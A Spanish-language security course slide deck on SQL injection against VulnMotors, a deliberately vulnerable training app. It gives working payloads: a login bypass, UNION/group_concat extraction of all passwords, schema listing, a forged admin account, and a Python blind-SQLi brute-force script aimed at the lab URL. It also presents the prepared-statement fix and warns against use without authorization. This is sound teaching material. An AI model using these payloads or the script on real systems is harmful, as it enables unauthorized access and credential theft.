

Módulo 2: Vulnerabilidades de Inyección

T04: SQL Injection

Carlos Rodríguez Contreras · GitHub: [karrocon](#)

 *El ataque de inyección más clásico — y más devastador*

Objetivos de hoy

- Entender **cómo y por qué** funciona SQL Injection a nivel de query
- Explotar el login de VulnMotors con payloads reales
- Extraer **toda la base de datos** usando UNION y group_concat
- Realizar Blind SQLi carácter a carácter
- Corregir la vulnerabilidad con **una sola línea** de código

¿Qué es SQL Injection?

Injectar fragmentos de SQL en un input que el servidor **concatena directamente** en una query.

Input del usuario:

```
' OR 1=1 --
```

Query resultante:

```
SELECT * FROM users
WHERE username=' ' OR 1=1 -- '
AND password='...'
```

Impacto:

Severidad	Ataque
 Crítico	Bypass de autenticación
 Alto	Lectura completa de la BD
 Alto	Modificar/borrar datos
 Crítico	Ejecución de comandos (RCE)

 SQLi lleva en el **OWASP Top 10 desde 2003**. Es el ataque más explotado de la historia web.

OWASP A03:2021 – Injection

¿Qué dice OWASP?

“ "La inyección ocurre cuando datos no fiables se envían a un intérprete como parte de un comando o query."

”

- SQL, NoSQL, LDAP, OS Commands, XPath...
- **94% de las aplicaciones** fueron testeadas para algún tipo de inyección
- ~274K ocurrencias encontradas

Factores de riesgo:

Factor	Valor
Prevalencia	Alta
Detectabilidad	Fácil
Explotabilidad	Fácil
Impacto técnico	Severo

La combinación de **fácil de encontrar + fácil de explotar + impacto máximo** hace SQLi tan peligroso.

El código vulnerable en VulnMotors

```
// src/routes/auth.ts - línea 30
const query = `SELECT * FROM users
  WHERE username='${username}' AND password='${password}'`;

let user = db.prepare(query).get();
```

💀 **El problema:** El input del usuario se concatena directamente como parte del código SQL. No hay separación entre **datos** y **instrucciones**.

¿Qué devuelve el servidor?

```
{ "token": "eyJ...", "user": { "id": 1, "username": "alice", "role": "admin" } }
```

Solo 3 campos visibles: `id`, `username`, `role` — password y email se ocultan.

Anatomía del ataque – Paso a paso

Input normal:

username = alice password = password123

SELECT * FROM users WHERE username='alice' AND password='password123'
→ Devuelve 1 fila ✓

Ataque bypass:

username = ' OR 1=1-- password = x

SELECT * FROM users WHERE username='' OR 1=1--' AND password='x'

siempre ''	siempre	TODO COMENTADO
(false)	TRUE	(ignorado)

→ Devuelve TODAS las filas → .get() toma la PRIMERA → alice (admin)

Payload clásico: bypass de login

El payload:

```
username: ' OR 1=1--  
password: x
```

¿Qué ocurre?

1. `'` → cierra la comilla del username
2. `OR 1=1` → condición siempre TRUE
3. `--` → comenta el resto (`AND password=...`)
4. Resultado: devuelve el **primer usuario** = alice (admin)

Respuesta del servidor:

```
{  
  "token": "eyJhbGciOiJIUzI1NiJ9...",  
  "user": {  
    "id": 1,  
    "username": "alice",  
    "role": "admin"  
  }  
}
```

🎯 ¡Acceso como **admin** sin conocer la contraseña!

Variantes del bypass

Payload	Efecto
' OR 1=1--	Primer usuario (alice, admin)
' OR username='bob'--	Login como bob específicamente
' OR username='carol'--	Login como carol
admin'--	Si existe "admin" como username
' OR role='admin'--	Cualquier admin

💡 **Nota:** `--` es un comentario en SQL. Todo lo que viene después se ignora.
En MySQL también funciona `#`. En VulnMotors (SQLite) basta con `--`.

Tipos de SQL Injection

Tipo	Cómo funciona	Visibilidad
In-band (clásico)	El resultado aparece en la respuesta	👁 Total
Union-based	Añade un SELECT extra con UNION	👁 Total
Error-based	Los mensajes de error revelan datos	👁 Parcial
Blind boolean	La app responde distinto (200 vs 401)	🔍 Inferencia
Blind time-based	Se mide el tiempo de respuesta	🕒 Inferencia
Out-of-band	Datos exfiltrados por DNS/HTTP	🌐 Externo

⚠ Hoy nos centramos en **In-band + UNION** (más visual) y **Blind boolean** (más realista).

Union-based SQLi – El método más potente

UNION combina los resultados de dos SELECT en una sola respuesta.

Requisito: ambos SELECT deben tener el **mismo número de columnas**.

Pasos del ataque UNION

- | | | | |
|---|-----------------------|---|----------------------------------|
| 1 | Encontrar nº columnas | → | ORDER BY 1, 2, 3... hasta error |
| 2 | Identificar visibles | → | UNION SELECT 'A','B','C','D','E' |
| 3 | Extraer datos | → | UNION SELECT ... FROM users |
| 4 | Listar tablas | → | UNION SELECT ... sqlite_master |

Paso 1: Encontrar número de columnas

```
-- ORDER BY N → si N existe, SQL es válido; si no, ERROR
' ORDER BY 1--      → 401 (válido, pero sin filas – no hay usuario '')
' ORDER BY 5--      → 401 (válido – la tabla tiene al menos 5 columnas)
' ORDER BY 6--      → 500 (¡ERROR! – la columna 6 NO existe)
```

Conclusión: la tabla `users` tiene **5 columnas**.

💡 **¿Por qué 401 y no 200?** La query es SQL válido, pero `WHERE username= ''` no encuentra filas → el servidor responde "Credenciales incorrectas" (401). Si el SQL es **inválido**, el servidor da 500 (error de BD).

Paso 2: Identificar columnas visibles

```
' UNION SELECT 'A','B','C','D','E'--
```

Respuesta:

```
{ "user": { "id": "A", "username": "B", "role": "D" } }
```

Posición	Dato	¿Visible?
1	A → id	✓ Sí
2	B → username	✓ Sí
3	C → password	✗ No
4	D → role	✓ Sí
5	E → email	✗ No

Conclusión:

Posiciones **1, 2 y 4** aparecen en la respuesta.

Para extraer datos ocultos (passwords, emails) debemos ponerlos en una posición **visible** (2 o 4).

Paso 3: Extraer datos – Truco `group_concat`

El servidor usa `.get()` que devuelve **UNA sola fila**. Para obtener TODOS los registros en una petición, usamos `group_concat()`:

```
' UNION SELECT 1, group_concat(username||':'||password, ' | '), 3, 4, 5 FROM users--
```

Respuesta:

```
{
  "user": {
    "id": 1,
    "username": "alice:password123 | bob:qwerty | carol:letmein",
    "role": 4
  }
}
```

💀 **Todas las contraseñas extraídas en UNA sola petición.** Los passwords están en texto plano — otro error grave (deberían estar hasheados).

Paso 4: Listar tablas de la BD

En SQLite, `sqlite_master` contiene el esquema completo:

```
' UNION SELECT 1, group_concat(name, ' | '), 3, 4, 5
  FROM sqlite_master WHERE type='table'--
```

Respuesta:

```
{ "user": { "id": 1, "username": "users | sqlite_sequence | comments | products", "role": 4 } }
```

Siguiente paso: extraer el DDL (CREATE TABLE) para ver las columnas:

```
' UNION SELECT 1, sql, 3, 4, 5 FROM sqlite_master WHERE name='products'--
```

→ Revela:

```
CREATE TABLE products (id INTEGER PRIMARY KEY, name TEXT, description TEXT, price REAL, owner_id
INTEGER)
```

Bonus: Crear un admin que NO existe

```
' UNION SELECT 99, 'hacker', 'fake', 'admin', 'h@evil.com'--
```

Respuesta:

```
{  
  "token": "eyJ...(userId:99, role:admin)...",  
  "user": { "id": 99, "username": "hacker", "role": "admin" }  
}
```

💀 El servidor genera un **JWT válido** con `role: admin` para un usuario que **NO existe** en la base de datos. Si otros endpoints solo verifican el JWT (sin comprobar que el user existe), el atacante tiene acceso total.

Blind SQLi – Cuando no ves la respuesta

A veces la app solo responde **true/false** (200 vs 401). Ejemplo: el login de VulnMotors.

```
-- ¿La password de alice empieza por 'p'?  
alice' AND password LIKE 'p%'--      → 200 (TRUE ✓)  
  
-- ¿Empieza por 'pa'?  
alice' AND password LIKE 'pa%'--      → 200 (TRUE ✓)  
  
-- ¿Empieza por 'pb'?  
alice' AND password LIKE 'pb%'--      → 401 (FALSE X)
```

Repitiendo **carácter a carácter** se extrae la contraseña completa.

⚠ Es más lento (muchas peticiones) pero funciona cuando no hay output visible. Herramientas como **sqlmap** lo automatizan.

Blind SQLi – Script de extracción

```
import requests

URL = "https://vulnapp-owasp-01.azurewebsites.net/auth/login"
charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
password = ''

for pos in range(1, 20):
    found = False
    for c in charset:
        payload = f"alice' AND password LIKE '{password}{c}%'"
        r = requests.post(URL, json={"username": payload, "password": "x"})
        if r.status_code == 200:
            password += c
            print(f"[+] Encontrado: {password}")
            found = True
            break
    if not found:
        break

print(f"[✓] Password completa: {password}")
```

Casos reales de SQL Injection

Año	Empresa	Impacto	Cómo
2008	Heartland Payment	130M tarjetas de crédito	SQLi en app de procesamiento
2011	Sony PSN	77M cuentas expuestas	SQLi en app web de login
2015	TalkTalk	157K clientes, multa £400K	SQLi básico, sin WAF
2019	Fortnite (Epic)	Datos de 200M jugadores	SQLi en subdominios
2023	MOVEit Transfer	2.500+ organizaciones	SQLi 0-day en software empresarial

💀 El ataque a MOVEit (2023) fue explotado por el grupo ransomware **Cl0p** y afectó a gobiernos, universidades y Fortune 500.

El fix: Prepared Statements

❌ VULNERABLE — concatenación:

```
const query = `SELECT * FROM users
  WHERE username='${username}'
  AND password='${password}'`;
const user = db.prepare(query).get();
```

El input **ES** parte del código SQL.

✅ SEGURO — parámetros:

```
const user = db.prepare(
  'SELECT * FROM users
  WHERE username = ?
  AND password = ?'
).get(username, password);
```

El input **NUNCA** es código SQL.

✅ ¿Por qué funciona? El motor SQL compila la query **ANTES** de recibir los datos. Los **?** se tratan siempre como **valores literales**. `' OR 1=1--` se buscaría como texto en la columna, nunca se interpreta como SQL.

¿Y los ORMs?

```
// Prisma – seguro por defecto (usa prepared statements internamente)
const user = await prisma.user.findFirst({
  where: { username, password }
});

// TypeORM – seguro con query builder
const user = await userRepo.findOne({
  where: { username, password }
});

// ⚠ CUIDADO: raw queries en ORMs TAMBIÉN pueden ser vulnerables
const result = await prisma.$queryRawUnsafe(
  `SELECT * FROM users WHERE username = '${username}'` // ← VULNERABLE
);
```

⚠ Los ORMs protegen por defecto, pero si usas `$queryRaw`, `query()` o similar sin parámetros, vuelves al punto de partida.

Defensa en profundidad

Capa	Medida	Eficacia
1. Código	Prepared statements / ORM parametrizado	● 99%
2. Validación	Rechazar caracteres inesperados (longitud, regex)	● Complemento
3. Privilegios	Cuenta BD con mínimos permisos (solo SELECT)	● Limita daño
4. WAF	Reglas que bloquean patrones SQLi	● Bypass posible
5. Monitorización	Alertar ante errores SQL frecuentes	● Detección

✓ **La regla de oro:** prepared statements en el 100% de las queries. Las demás capas son **defensa en profundidad**, no sustitutos.

Resumen — Lo que debes recordar

El ataque:

- Input de usuario → concatenado en SQL
- `' OR 1=1--` → bypass de autenticación
- `UNION SELECT` → extraer toda la BD
- `Blind SQLi` → extraer datos sin output

La defensa:

-  Prepared statements (`?`)
-  ORMs con parametrización
-  Validación de input
-  Principio de mínimo privilegio
-  NUNCA concatenar input en SQL

 **Regla mnemotécnica:** Si ves `${variable}` o `+ variable +` dentro de una query SQL → es **vulnerable**. Siempre usar `?` o `:param`.

Lab T04: SQL Injection en VulnMotors

URL: `https://vulnapp-owasp-01.azurewebsites.net`

Endpoint: `POST /auth/login` — Content-Type: application/json

1. **Bypass:** `{"username": "' OR 1=1--", "password": "x"}` → ¿Quién eres?
2. **ORDER BY:** Encuentra cuántas columnas tiene la tabla (401 vs 500)
3. **UNION visible:** `' UNION SELECT 'A','B','C','D','E'--` → ¿Qué columnas ves?
4. **Extraer passwords:** Usa `group_concat()` para dumpar todos los usuarios
5. **Listar tablas:** Consulta `sqlite_master` con `group_concat`
6. **Admin inventado:** Crea un usuario fake con role admin
7. **Fix:** Reescribe `auth.ts` con prepared statements

⚠ Solo contra VulnMotors. **Nunca** contra sistemas sin autorización escrita.